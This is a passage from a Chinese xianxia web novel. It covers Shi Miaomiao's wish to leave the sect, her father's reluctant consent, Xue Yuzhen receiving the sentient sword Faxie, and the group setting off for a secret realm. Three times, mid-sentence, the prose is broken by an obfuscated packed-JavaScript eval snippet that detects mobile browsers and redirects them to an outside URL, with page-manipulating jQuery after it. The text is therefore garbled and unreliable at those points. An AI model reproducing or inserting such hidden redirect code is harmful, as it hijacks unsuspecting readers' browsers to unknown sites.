施淼淼也不是一直这般明媚,年纪尚小的时候,宗门内没什么人爱和她玩。她是掌门弟子,是掌门的女儿,是知源宗的大小姐,明明有着这样的名头,就算不是真心,也该是一群人围着她转。可她的身体实在是太弱了,三天两头的头痛脑热,没人愿意承担她突然晕倒的风险,只好疏远又客气地不敢怠慢地对待她。施淼淼不知道自己做错了什么,只知道有的时候同门的伙伴,说着说着便将她遗留在了原地。再后来,她就不再愿意一同上课了。 先是褚霁远到了金丹期,下山之后想着她不开心,便买了些小玩意来哄她。后来是其他师兄师姐。最后,不知道是谁多了嘴,说了一句下了山,就要给施淼淼带些东西回来。那些敬她,又瞧不起她的人,也只得带些小东西回来。大到奇珍异兽天灵地宝,小到奇花异草木头泥巴。可偏偏这样,只要能说得上几句来由故事,施淼淼都乐得全盘接受。 她便是用这些话语,为自己描绘出山下的世界。 薛予蓁听得心中很不是滋味,她攥紧了衣服,还是问出来了,“师姐,当真一点都不能下山吗?” “你觉得呢?”褚霁远反问道。 “我…”薛予蓁说不出来,又靠回树干,“我不知道。师兄,你先回去吧,我明日自会去向师姐道歉。” 她这样说,褚霁远也不好再劝,捏了捏她的脸,“莫要给自己太大的压力,这并非你的错。” 褚霁远走了之后很久,薛予蓁都睡不着。她索性睁开眼睛,盯着月亮发呆。夜里山间风大,却吹不散心中的愁绪。 “唉……”身边传来一人悠悠的叹息。 沉浸在自己思绪中的薛予蓁被这一声吓得好悬没掉下树,她震惊地扭头看去。施淼淼坐在她身边,笑眯眯地抬手朝她挥了挥。 “哎!” 薛予蓁这下是真的被吓到了,撑在枝干边上的手一滑,身形一晃便要往下掉,这一动作,被吓到的就变成了施淼淼。施淼淼连上伸手去拉,薛予蓁却反手把住树干,一翻身又坐了回来。 “师姐,你,你怎么上来的?”薛予蓁道。 施淼淼见她没事,松了一口气,闻言挑挑眉,往下一指。薛予蓁顺着手指看去,不远处立了一位红衣女子,感受到她的目光,凫华回首朝她笑了一下。薛予蓁恍然大悟,“原来是凫华姐姐。” “方才在看什么,身边这样大的动静都察觉到。”施淼淼疑道。 薛予蓁道:“在看月亮。” 施淼淼闻言,也抬头看去。此处位高,瞧见的月色倒真是与在院子里看见的不同。肩头传来柔软的触感,施淼淼看去,薛予蓁竟掏出来一个火狐绒毯搭在了她的身上。 “师姐为何一脸惊讶的看着我!这可是当时下山的时候你塞给我的!”薛予蓁被施淼淼惊奇的表情看得脸上一热,往她身旁凑了凑,将两人都裹在这毛绒绒的毯子里。 施淼淼心道原来如此,怪不得这东西看着实在是眼熟,她尴尬的咳了一声。两人错开视线,都看向一边,没过两秒,便齐齐笑出声来。 施淼淼挽住薛予蓁的手,“这几天都不回竹宴峰,我当你是真的记不得我这个师姐了呢。” “怎么会!”薛予蓁急急解释道,“我,我只是——” “讲讲吧。” “只是不想同师姐道歉!” 两人同时说了出口,又同时愣住了。 施淼淼好奇的看着她,“虽不知道你有什么事情和我道歉的,你又为何不愿意和我道歉?” 薛予蓁没回答这个问题,偏过头闷声道:“师姐要我讲什么?” “自然是山下的事情了。” 山下,山下有什么事情呢?是街头巷尾打闹玩耍的小孩,是村口树下闲聊的大娘,是挑着货箱的行商,是镇外溪流边嬉戏的少年少女……不过也不全是美好的事情,还有当街打人的达官富人,专挑他们下手的小贼,为了一块糖和娘亲撒泼打滚的皮孩…… “当真?” 薛予蓁煞有介事地点了点头,“保真。我小的时候,阿娘不接宗门的委托时,便会带着哥哥上山打猎。猎到的东西,会留一部分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471914|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在家里吃,其他的便拿到街上去卖掉。我有一次和他们一起去街上卖皮子,便看见有一个五六岁的小胖墩非要买糖葫芦吃,他娘不肯,他便又哭又闹的。” 知源宗的弟子下山多半是接到了地方宗门的委托,是不会在意这些闹事的。所以施淼淼也鲜少听到这些,她兴致勃勃地追问,“后来呢?” 薛予蓁寡着一张脸继续回忆,“后来,他娘硬拽着他走了,谁知他路过我的时候,一把把我的糖葫芦抢走塞嘴里。” “哈哈哈哈哈……”施淼淼哈哈笑了起来,肩膀都笑得一抖一抖的,“居然会这样?哈哈哈……” 薛予蓁其实那时候不是很开心,那时她正在换牙,好不容易央求阿爹买了一根糖葫芦,一颗都还没吃完就被人抢走了。但看着笑得开怀的施淼淼,也忍不住笑了起来。 “我以前,从未听过这些故事。”施淼淼擦了擦眼角笑出来的泪,道。 薛予蓁倒是能理解,“知源宗的师兄师姐都是大富大贵的人家,不会注意到这些是很正常的啦。” “二十一年。”施淼淼突然说道。 薛予蓁不明所以,“嗯?” 施淼淼突然掀开毯子,站了起来。她环顾着知源宗,伸出手一处一处指着,“竹宴峰,清棠峰,浮光峰,涟阳峰,弟子峰……知源宗十三座主峰,我闭着眼睛都能走完。”她深吸了一口气,“我在这里待得太久了。” 她眼神出奇的认真,“我想下山,我想去摸一摸山下的花,探一探山下的溪水,看一看山下的人……” 施淼淼转身看着薛予蓁,朝她伸出手,“予蓁,我要下山。” 薛予蓁看着神色认真的施淼淼,觉得自己之前一直紧巴巴缩成一团的情绪“啪”地展开了,她笑着握上施淼淼的手,“好呀,师姐。” 但下山是不可能马上就下的,最反对这件事的人就是施明尘了。施淼淼被他丢出大殿的时候,还觉得颇为新奇。她稳住身形,“父亲从来没有这样对过我,这么多来每次对我都像是对陶瓷娃娃一样,生怕力气大一点就会把我摔碎了。”她比了个拎东西的手势,“谁能想到有一天我会被这样丢出来,哈哈哈哈……” 薛予蓁挠挠头,“师姐你还能笑得出来呢,师父这不就是生气了嘛。”她长叹一口气,“看来这件事情,要师父松口,可太难了。” 施淼淼却不当回事,她拉着薛予蓁又要往殿内走,“多磨磨,说不定他不耐烦了,就同意了。”结果,两人齐齐撞到了结界上面。 被结界弹开的两人坐在地上,本来都还有些懵,待对视一眼后,又一起笑了起来,惊得路过的弟子险些将手中的东西丢到地上去。 褚霁远正巧来找施明尘议事,看见门口的这两人,心下了然,一边一个将她们俩拎了起来,“你们二人,这是来做什么?” 薛予蓁和施淼淼惊喜地回头看着他,叠声道:“师兄!” “师兄可是找爹爹议事?”施淼淼道。 褚霁远点点头。 施淼淼朝他卖乖,“淼淼自小便与师兄一起长大,关系如此密切,师兄肯定愿意帮我!”她凑到褚霁远身边,捏捏他的手臂,“师兄便去向父亲说个好话,让他同意我下山。” 就猜到是这件事,褚霁远移开手,道:“我当然可以去给师父说说好话,但淼淼,你真的能支撑的住吗?” 施淼淼一愣,没能答得起这个问题。 18. 第十八章 母亲 殿内,施明尘沉着脸坐在桌前,听见门开的声音也没抬眼去看,直到褚霁远走近,唤了声师父,他才看了他一眼。 “你说,怎么非要下这个山呢?”施明尘问道。 褚霁远站在他面前,闻言笑了下,道:“师父认为淼淼如何?” “那自然是好极了!”自己的女儿,自然哪哪都好,施明尘滔滔不绝地说了小一刻钟,从三五岁时说到现在,从以前怕池里的锦鲤淹死到现在还愿意去山门前捡那些撞到结界的傻鸟。但也是说到这里,他突然闭了嘴,不再继续说下去了。 “从我金丹后,淼淼便喜欢往山门口跑了。”褚霁远这一刻钟没打断施明尘,耐心地听他说完,甚至贴心地替他倒了一杯茶,“师父,淼淼早已不是小孩子了。” “可她的身体……”施明尘如何不知施淼淼早已不是那个会趴着他的大腿撒娇的小姑娘了,修仙者对年岁的敏感度低了不少,他还是二十年前的模样,但他也能看见施淼淼从小小的一团长成如今出尘的大姑娘。 褚霁远却道:“这也是我要同师父说的事。”他从袖中掏出两张单子,先是指着其中一张,“这一张,是予蓁上山前,淼淼病发领药的记录,非常频繁,几乎是半月两次。”他又看向另一张,“而这个,是这四年的药堂记录。” 施明尘脸色凝重地拿起那张记录单,眼中闪过一丝讶异——比起之前密密麻麻的记录,这四年间施淼淼仅犯过六次病!他望向褚霁远,“这,这是怎么回事?” “弟子不知。四年间师父与我都在调查沉渊峰之事,对淼淼的确疏漏了许多。还是这次予蓁受伤,我去药堂领药时碰上了凫华,才得知此事。”褚霁远也有些疑惑,但想到凫华说的话,薛予蓁下山的二十天内,施淼淼就接连两次犯病。 “子书珹在平阳城传来的信中说到,小风筝对凌河药谷的纹饰反应很大。如此看来,四年前看到的那个纹饰碎片,应当属于她的母亲,或是父亲。” 施明尘看着记录,若有所思,“你是说,予蓁的身上,或许存在着什么东西可以缓解淼淼的病?” 褚霁远点头,“她回来也有半个月了,淼淼一直都很康健,不是吗?”他又拿出一张纸递给施明尘,“这是前往宁沂秘境的名单,师父先请过目。” 施明尘看了看,第一个便是施淼淼的名字。他哽了一下,“你!” 褚霁远笑得很真切,“有小风筝一路,淼淼不会出事的。师父,也该让淼淼下山看看了。” 施明尘看着他,他看着施明尘。 下一刻,致远殿的大门开了又关。 褚霁远站在薛予蓁和施淼淼面前和她们大眼瞪着小眼,身后是慢悠悠飘落在地的名单。 “师兄?你这是也被师父赶出来?”薛予蓁捡起那张名单,“宁沂秘境?” “师兄替你们尽过力了。”褚霁远无奈地摇摇头,从薛予蓁手中接过名单,叠了叠收回袖中,“接下来,就看师父如何说服他自己了。” 听他这么说,便是有戏。施淼淼眼睛一亮,“师兄这是何意?” 褚霁远只说,“五天后我们便出发去宁沂秘境。”说罢,朝施淼淼眨眨眼。 施淼淼意会,“那我现在就回去收拾东西!” 说着就要来着不明所以的薛予蓁要走,褚霁远拦了一下,“小风筝先留一下,我有话同你讲。” 薛予蓁点点头,“那师姐你先回去吧。” 施淼淼打趣道:“还认得回竹宴峰的路吗?可别又不回来了。” “师姐!” 目送几人离开,薛予蓁道:“师兄有何事?” 褚霁远引着她到偏殿,“不是什么大事,只是想知道那天,为什么突然那样说。” 他说的不明确,但薛予蓁知道他的意思。她想了一下,开口却没直接回答,“门中的弟子,一直以来,都对师姐很复杂的情感。” 觉得施淼淼温柔和善的人有,觉得她就是一个草包的人也有,还有人遗憾她的怪病。恨她的也多,她不过是因为投胎投得好,才混上了掌门的徒弟,否则一个二十几岁还在练气的人凭什么?爱她的人也不少,施淼淼为人大方有趣,没有大小姐的架子。即便是修为上不去,但学识却不差什么人,遇到为课业犯难的弟子,通常会指点几句。当然,最多的是对她没什么感觉的,是师姐也好,不是也罢。 “他们敬她,却又不敬。”否则也不会有先前“小师姐”的戏谑称呼。 其实薛予蓁觉得他们会这样也不奇怪。能进知源宗的人,天资一定不会差。而掌门徒弟的位置也就那么几个,或者说就算施明尘不授课,只是挂名在他的门下,也足够享受到许多人享受不到的优待。可偏偏出现了一个施淼淼,施明尘因为她不再收徒了。当然,薛予蓁是一个例外。 “他们讨厌师姐,却不敢明目张胆的表现出来。”所以只能在称呼,态度这样可以有多种接受的方面来“欺负”施淼淼。 最开始,薛予蓁是没有想到这些层面的。但那天看见许乐禾那束枯萎的花时,突然就想起了竹宴峰的一个房间。那个房间并没有什么名贵的东西,薛予蓁甚至在里面看见不下二十块在路边随意就能捡到的石头,河堤的淤泥,雨后的泥巴,蛛网兜住的蝴蝶……都是一些随手就能到手的东西。原先,薛予蓁只当施淼淼有这旁人难以理解的收集癖好。 直到那天看见施淼淼对待破败的花束时流露出来的神情,是期盼,是好奇。她何尝不知道那些是师弟师妹敷衍她的东西,但她没有下山过,随随便便来一个人捏造些什么故事啊意外啊,赋予那些破东西一点特殊的含义,她就连反驳的话都说不出来。 “我其实说了那句之后就有些后悔,但是我想了很久。师姐就是很好!为什么要这样小心翼翼呢?”就连面对已经格外熟悉的师弟,那些有疑惑的话都只能在心里说给自己听,最后什么都不会再说地将自己说服了。 一只手落到薛予蓁头上,安慰般地轻轻拍了拍。褚霁远道:“淼淼小时候也有过很任性的时候。那时候,有人喊她‘小废物’,她不爱听,就闹到师父面前,师父当然生气,但是师父能做什么呢?是叫他们不许再这样了,还是专门为了这件事情召开大会,证明淼淼不是?都不是的。” 施明尘只能将眼睛红红的女儿心疼地搂在怀里,一遍又一遍地轻声哄她,淼淼才不是小废物,是爹爹的心肝宝贝。诸如此类的事情还发生过很多次。施淼淼年纪小时还好糊弄,待到懂事之后就知道,他们说得没错,她不能像别人那样修炼,她的确是……废物。但这时候,她也明白不该再去给施明尘添乱,不该让他难做。于是再多的委屈都自己吞回肚子里了。 “好过分!”薛予蓁听得眼眶发酸。 褚霁远却是扬了扬嘴角。掌门会难做,但他这个师兄却不会,所以很多时候,那些嘴上没把门的人都会被以指导的名义狠狠地教育一番。施淼淼起先会忍着,但后来发现一昧的忍让只会让他们的气焰更甚,于是便也不再客气。再往后便是现在这样的,谁都占不到她一点便宜的性子了。 褚霁远道:“你师姐很厉害的,可不要小瞧了她。”那些非要带些没什么意义的玩意给她,还要到她面前讨巧的人都会被她以其他方式报复回去。 弟子甲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471915|169903||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :对植物有着非凡的喜爱,所以给千挑万选地给师姐带了一截漂亮的……树杈子。 施淼淼:那师姐就给灵植园的人说一下,多给你安排一个月的义务劳动。 弟子乙:泥土有着不一样的芳香,所以特地去小溪里给师姐挖了一大块泥! 施淼淼:既然如此喜爱泥土的味道,那便去帮着修缮房屋。工钱?这不是喜好吗?何来工钱一说? 弟子丙:不同蛛类结的网是不一样的,我等了好久才等到这只蜘蛛结好网! 这个骂不了,这名弟子的眼神太真切,甚至说到有只蝴蝶不小心撞上去的时候,真情实感的难过了一下。于是施淼淼给了她一个东华珠编织的网袋,那名弟子走的时候眼神都有些发直。 弟子丁:师姐,你看这个石头和其他的不一样,这个花纹艳一点,那个淡一点……我捡了好多! 这个,这个也骂不了,因为据了解,这名弟子的房里花纹各异的石头,几乎要堆到房顶了。施淼淼分辨了很久才堪堪摸到些不一样的门道。最后施淼淼给了他一大块东鸣灵石——纯粹的青色,还会发光的那种。那名弟子一个人搬不走,叫了同寝的室友来一块儿抬走的。 自然,这种区别对待又被人拉出来说了。但施淼淼很无辜,她明明也给了每个人对应喜欢的东西。那些真的是随随便便扒拉一点东西来恶心的弟子只能打碎了牙往肚子里咽。 而现在,为自己脑补的师姐悲惨过往难过到眼角垂泪的薛予蓁呆住了,“我还以为……” 褚霁远哈哈笑了起来,拍了拍她的脑袋,“你瞧你师姐那样,像是会委屈自己的样子吗?” 薛予蓁冷漠地拍开他的手,“那为什么师姐还要那么好的收着那些东西?” “这个嘛……”褚霁远道,“这个洗不了,这说明淼淼是真的向往外面。” “……”薛予蓁有些艰难地看着他,“师兄,你一直如此吗?” “哦?”褚霁远疑惑地挑了挑眉,“在你心中,师兄该是什么样子?” 薛予蓁歪着头看了褚霁远半天,最后也没说出个什么来。毕竟,四年间见过的褚霁远有太多模样了。作为施明尘的亲传弟子,再加上天资卓绝的能力,褚霁远一直是知源宗内外门弟子的榜样,那些接触不到的弟子或许会被褚霁远那张拒人千里的脸所欺骗——这没什么,薛予蓁一开始也被他冷冰冰的模样骗到过。但其实褚霁远并没有那么难以相处,或者说他只爱和他认可的人讲话。对于薛予蓁和施淼淼这两位师妹,他平时喜欢逗乐,而其他长老的弟子,多是以严格要求,偶尔冒出点坏点子来探探他们最近的修为。至于那些知源宗崇拜他也好,嫉妒他也好的弟子,那对不起,的确只能看见褚师兄冷冰冰的模样。 褚霁远不知道薛予蓁在想什么,他在她眼前挥挥手,“回神。我还有个东西要给你。” 薛予蓁接过一看,瞳孔一颤,“这是……” 那是一个绣着白虹花的香囊,看着有些年岁了。褚霁远道:“四年前在你家捡到的,但那时疑点重重,我不敢给你。如今,你已经见过凌河药谷的人了,那么有些事情便能说得开了。” “……我母亲或许曾经是凌河药谷的人。”沉默了一会儿后,薛予蓁主动道,“可是她从未提及过师门,幼时只与我和哥哥讲她和父亲在五洲各地游历的事情。” “从未提过?那你是如何得知的?” “母亲虽未提及,但却没有完全抹去凌河药谷的存在,记忆中她会穿着有着白虹花的衣裳,偶尔会拿出这个香囊说些什么。”薛予蓁看了一眼香囊,将其妥善收进袖中的储物囊中。 19. 第十九章 神剑 偏殿的门打开,施明尘走了进来。他挥挥手免了两个徒弟的礼,脸色还是有些不自然,“此次宁沂秘境开放,各个宗门都会前往,尽可去试探一下凌河药谷的态度。”他点了点薛予蓁,看着她神色拘谨,无奈地叹了口气,“但一定不要将自己置于危险之中。” 薛予蓁挠挠脸,笑了下,“知道了,师父。” 施明尘又道:“此次闵榭长老也会一同前往,按照往日秘境开放的规矩,依旧只允许金丹与元婴期的修士进入。朗月,你便和闵榭在外面守好他们就是。”他又多看了褚霁远几眼,最后的话几乎是咬着牙说出来的,“也要看顾好淼淼!” 薛予蓁本来以为这里已经没有自己的事情了,正打算悄悄的出去,听见这话,又溜回来,趴在施明尘的胳膊上,惊喜道:“师父,你同意师姐下山啦!” 施明尘低头就看见薛予蓁这幅讨巧卖乖的模样,又是看着觉得可爱,又是想起她在平阳城冒冒失失的行动,又是觉得因为她施淼淼才那么想要下山,心中的情绪简直复杂到极致,翻来覆去地想了半天,最后在她头上不重不轻地敲了一下,“在平阳城为什么不听师兄的指挥要独自行动?!” 薛予蓁没想到自己没等来答案,却等来了这个,她满眼难以置信地看着施明尘,“师父,您为何突然翻起那么多天前的旧账了?!” 施明尘心中冷笑,不翻旧账怎么找借口教训你,“如今才反应过来罢了。”他装模作样地想了一下,“你师姐会帮你收拾东西,这两天你便去藏书阁将《静心篇》抄个一遍磨磨性子罢。” “师父!” 事实证明,叫师父也改变不了施明尘的想法,薛予蓁苦哈哈地去藏书阁抄书去了。而被能下山这个巨大的惊喜砸到的施淼淼激动到暂时忘记了自己的小师妹,当真兴致勃勃地收拾了两天的行李。薛予蓁两天后回到竹宴峰时,都还能听见施淼淼叽叽喳喳地在同凫华和百灿说话。凫华平常便爱说话,但就是苦了百灿了,她不知所措得地站在两个嘻嘻哈哈说笑的女人身边,在自家小姐递来东西询问意见的时候,只能拧着眉挤出几个“挺好的”出来。 于是在看见薛予蓁身影出现在竹宴峰时,她的声音瞬间大了一倍,“小姐,予蓁回来了。” 施淼淼转头就将百灿忘在脑后,快步走到薛予蓁面前,“小风筝,爹爹真的同意我下山了!” 看着她高兴的模样,薛予蓁心中也分外的轻松,“太好了师姐,我们可以一起出去了!” 两人高兴之际,致远殿那边来了人,“薛师姐,掌门唤你。” 薛予蓁简直要昏过去了,从平阳城回来后,她就不停地在往致远殿去,不是禁闭就是罚抄,实在是有些阴影了。她心道,左右不过还有三天就要下山了,师父总不见得还要叫我抄书。 “是,马上就去。”她回道,又对施淼淼说,“师姐,这次可别再将我忘记了,若是师父真又要罚我抄书,你可得来救我啊!”说完还摆出一副可怜巴巴的表情看着施淼淼。 施淼淼心虚地咳了一声,“我如今已经收拾得差不多了。” 薛予蓁顺着她的视线看去,猛地愣住了,但随即一想自己下山时施淼淼都塞了不少东西,这次她自己下山,定会只多不少。薛予蓁打包票自己在那堆行李里看见了熟悉的小塌。她拍了拍手,“师姐考虑得很妥当,实在佩服。” 说完就往致远殿去了。 进殿前还有些忐忑,在门外徘徊了许久都没敢推门。直到里面的施明尘受不了她磨磨蹭蹭的,挥袖将殿门打开,“怎么许久不进,师父会吃了你不成?” 薛予蓁琢磨着师父这语气听着还好,打着哈哈走了进去,“师父对我最好,怎么会——哎!?” 甫一进殿便被丢了个什么东西过来,薛予蓁人还没反应过来就已经将东西接住了。是一把黑红两色为主的长剑,剑鞘勾勒着繁复的花纹,多是以妖兽灵草为主,看着有些妖异。靠近剑柄的地方镶嵌着一块拇指大的红色灵石,即便是没有阳光照射也熠熠生辉,为这把剑平添了几分华丽。 薛予蓁被这把剑打得措手不及,抱着剑疑惑地看向面前两人,“师父,师兄,这把剑是?” 褚霁远道:“这就不认识了?好歹还是在平阳城同你并肩作战了一番。” 并肩作战?薛予蓁首先想到的便是自己那把剑,可惜那把剑早就断成几截埋葬在了深坑之中,之后走的时候也没记得带上。至于其他的,薛予蓁有些不可置信地拔剑出鞘,剑身闪着雪色的光芒,剑刃锋利,光是看着就觉得它削铁如泥。而更让薛予蓁感到震惊的是,自己拔剑的那一刹那就觉得自己血脉与此剑共鸣,于是没忍住拿着它挽了个漂亮的剑花。 薛予蓁赞叹道:“好剑!”又忍不住道,“这难道是坑底那把破剑?” 破剑两字刚一出口,薛予蓁便感觉手中的剑突然开始颤动,嗡嗡作响。施明尘见状急忙施了个诀将剑封住。 “师父,这剑?” 施明尘道:“你瞧瞧它的名字。” 薛予蓁举起剑鞘辨认着,“伐…邪……伐邪!” 剑鞘上赫然是伐邪二字!这两个字张牙舞爪地被刻在上面,隐隐透露着几分杀伐的气息。薛予蓁急急将剑身插了回去,“这居然是伐邪神剑!?可不是说自五百年前的沉渊峰一站后,就再不见它的踪迹了吗?传言是被前辈带着一起飞升了……” 施明尘道:“传言能信的有几个?只是没想到,你竟有如此机缘。” 说这话的时候施明尘脸上不见笑意,薛予蓁心中也有些不安,“师父,这机缘是好还是不好?” “好,也不好。”褚霁远道。 “伐邪既是神剑,便是你技艺再不好,也能与元婴大圆满甚至再往上些的修士斗个几场,”看着薛予蓁眼中的惊艳,褚霁远继续说,“但伐邪杀伐气息过剩,又是已有剑灵,倘若心性不坚定,恐怕会被其反噬。” 褚霁远此话一出,薛予蓁便想起了在坑底时自己被伐邪操纵时的感受,这时就不再惊叹这是把神剑了,甚至都有些不想拿在手中了,“既然这样,为何将它给我?” 施明尘道:“此剑有灵,已经认你做主了,自然是要你拿着。” “认主!?”薛予蓁猛地一惊,声音都大了不少,“不是,怎么会认我做主呢?是不是搞错了呀。” 但其实话一出口,薛予蓁便知道没有搞错,因为伐邪竟像个人似的动了起来,一晃一晃地敲着她的小臂,仿佛在怪她不认自己。 褚霁远道:“伐邪恐怕是在平阳城被掩埋了许多年了,那日你的求生意将它激起,打斗时又无可避免的将血溅了上去。” 薛予蓁的小臂被拍得隐隐作痛,她咽了一口口水,“我何德何能能用上神剑……”她抬头看向施明尘,“师父,我就不能用别的剑吗?” 施明尘沉吟着没说话。褚霁远无奈地摊了摊手,“原本我和师父想着是该给你塑一把本命剑了,但刚要行动,便被伐邪拦住了。此剑有灵,若是你轻易去用旁的剑,恐怕它会醋得将那些剑都斩断。” 伐邪听见这话,不再拍打薛予蓁的小臂,而是悬立在她身旁,上下动了动,像是在同意褚霁远的话。 薛予蓁道:“剑,也会醋吗?” 伐邪先是停了一瞬,然后悠悠地围着薛予蓁转着了一圈,停在她的胸口处蹭了蹭她。薛予蓁被它蹭地痒痒的,有些受不住地将它握住手中。握住的那一瞬间,确实感觉到一股灵脉相连的感觉。 “如此……” 施明尘道:“尽力而为,若是觉得控制不住此剑,便不要轻易使用。”他瞥了一眼激动地一直乱蹦的伐邪,“不过观此剑这幅样子,应当是满意你的,必要时刻能护住你。” 薛予蓁知道自己就算不乐意,也没办法了,毕竟伐邪看着是真的很满意自己。她摸了摸伐邪,道:“既然这样,那便多多指教了。” “师父,今日叫我来就是为了此事吗?” 施明尘道:“此事是其中之一。”他看了薛予蓁一眼,“你不必这般警惕,今日不罚你禁闭也不罚抄书。” “哦。”薛予蓁迈向门口的步子收了回来。 “三日后便要启程宁沂秘境,本该为师带着门中弟子去,但实在事务缠身。淼淼头一次下山,必定瞧什么都新奇,到时候你多拦着她些,不要叫她影响队伍进程。” 薛予蓁点点头,“师父不必担忧这个,师姐心中有数呢。” 施明尘显然也不愿意谈及这件事,怕自己说多了又不乐意让施淼淼下山了,便又另起话题,“此次秘境大开,依照往日的情况来推断,恐怕照旧是只允许金丹元婴修士进入,朗月和淼淼进不得秘境,护不了你,到时候只有阿珹几人与你一起,你——” “我知道,我这次一定一定牢牢跟紧师兄师姐,绝不独行!”薛予蓁抢答道。 褚霁远敲了敲她的头,“听师父把话说完。” 施明尘无奈地叹一口气,“进入秘境后,你未必会和他们分到一处,而秘境中有何物,谁都不知道。小风筝,这次,我宁愿你独自一人,也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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褚霁远及时道:“是,此次施淼淼与我们一起。” 所有人都疑惑地啊一声,许乐禾更是扒拉开人群走到前面来,“当真?师姐你可想好,我们下山可不是去玩的。” 施淼淼奇怪地看了他一眼,“我当然知道你们不是下山去玩的。” 许乐禾是觉得她能下山当然很好,又不免担心她,但又不好再说什么,只好去看薛予蓁和褚霁远。谁知这两人一个根本看都不看他,另一个已经被子书珹拉着说话去了,察觉到他的目光,薛予蓁疑惑看过来,没到一秒又被子书珹的话题引了回去。 许乐禾:行叭,操心的人只有我一个。 褚霁远道:“此次秘境试炼深浅尚且不知,但我希望诸位都不要掉以轻心,去时多少人,归来时仍旧多少人。”他嗓音清浅,且在面对门中弟子时总是一副冷淡模样,他在说话的时候,无人敢出声。 褚霁远说完,正要让出一步,他身旁的闵榭长老却随和地摇摇头,“不必不必,你说便是。” “那便出发吧。”褚霁远道,“师叔先走。” 闵榭长老道:“那我便打头阵,朗月你垫底。”说罢便朝几位弟子招了招手,“来来来,就你们几个,同我一起走前面。” 身为子书珹的师父,闵榭比起他那个徒弟更加不着四六,平日在宗门内教习便爱以各种方式折腾众弟子,不是这个阵法出点问题把人困在里面三天三夜,就是那个符咒画着画着便招来一只恶鬼将听讲的弟子吓得抱头鼠窜。但即便如此,他仍旧是知源宗弟子们私底下票选出来的最好相与的教习长老。毕竟掌门和褚师兄太过于严厉,扶鸢长老看着温温柔柔,那张嘴却和淬了毒一样可怕,而看着温吞的明霄长老,却是爱卡结课成绩的。这么看来,闵榭长老就是爱玩了点,也算不得什么错。那几名弟子闻言,欢天喜地地就跑到闵榭长老身边,却忽视了闵榭眼中闪过的一丝兴味。 好巧不巧看见这一幕的子书珹展开折扇挡住自己唇角的笑意,在心中默默给那几位师弟师妹点蜡。 薛予蓁自然也是被闵榭长老折腾过的,她挠挠耳朵,跑到褚霁远身边,“师兄,我同你一起殿后。” 褚霁远自然是同意了,他看了看剩下的几人,道:“许乐禾,你去同师叔一起。” 许乐禾又怎么没在闵榭手底下上过课呢。他瞪大眼睛,“为什么啊,褚师兄!我在后方还能照看师姐呢!” 褚霁远看着他冷笑了一下,意有所指道:“小风筝这一趟回来,已经到了金丹中期,你……?” 许乐禾狠狠被哽了一下,他沉重地看了一眼薛予蓁,“我,我,我去便是。”说着便往前跑去,“师叔,闵榭师叔,等我一下啊!” 20. 第二十章 招式 宁沂秘境开放还要时日,闵榭便决定带着众弟子徒步前往,途中正好还能带着他们游历一番。 施淼淼的兴奋劲从下山就没消停过,不是扯着这个人问这,就是拽着那个人问那,但你要说她耽搁了队伍的进程,那还真没有,她甚至看起来比其余弟子更有精力一些。走了五天后,一开始有些怀疑施淼淼的弟子都渐渐的改观了,甚至有些不可置信。 望着前面脚步轻快的施淼淼,一名弟子崩溃地问道,“师姐,淼淼师姐不是从未修炼过什么吗?为何是我看起来比较狼狈?!” 薛予蓁道:“嗯……师姐平日里也在修炼啊,她……”施淼淼只要不犯病,就和旁人无异。但犯了病,一场小小的风寒就能要了她的命。至于修为,因为这打娘胎里带出来的,找不出缘由病,施淼淼的灵脉经络格外的混乱,不是这里堵塞就是那里断开,根本无法支撑起太多灵力的流转。但即便这样,施淼淼也没放弃过,因为小时候被嘲笑过,即使现在已经可以面不改色地嘲讽回去,她也太愿意和众人一起上课,更何况这病犯了,不要个五天十天根本好不了。所以她都是私底下找长老授课,或是自己修习。至于体术,她施淼淼好歹是施明尘的亲女儿,就算没有灵力驱动灵剑,剑法却也是不输任何人的。 “你们不会真的以为师姐每日都在喝茶观花吧。”薛予蓁道。 那名弟子呆呆地看着她,脸上分明就写着“难道不是这样吗”。 薛予蓁叹息着摇摇头,“师姐她,比你们任何人都要在意,努力………” 那名弟子虽然还是有些不明所以,但是看向施淼淼背影的眼神中却少了先前的怀疑和不屑。 看着这边几位弟子对施淼淼的认知都有些改观,薛予蓁高兴许多,抱着在林中摘一捧野果子就追了上去,“师姐!我找到好多果子!” 施淼淼身边那个被抓着问问题的弟子已经有些答不上来了,见到薛予蓁过来眼睛里都冒出点光亮,匆匆对施淼淼施了礼后就脚底抹油般地跑了。 施淼淼在原地等着薛予蓁,“我说怎么一回头便不见你踪影,原来又去钻林子了。” 薛予蓁嘻嘻一笑,捏了个水球将果子齐齐抛了进去,“这一路来都是山林,实在是太无聊了。”她并起两指操纵水球中的水流流转,几下将那堆果子清洗得亮闪闪的。旁边跟着她们一起走的弟子不客气地伸来一只手,薛予蓁手腕轻挑,便又一部分水球同整体分开,带着些果子飞到了那名弟子身前。 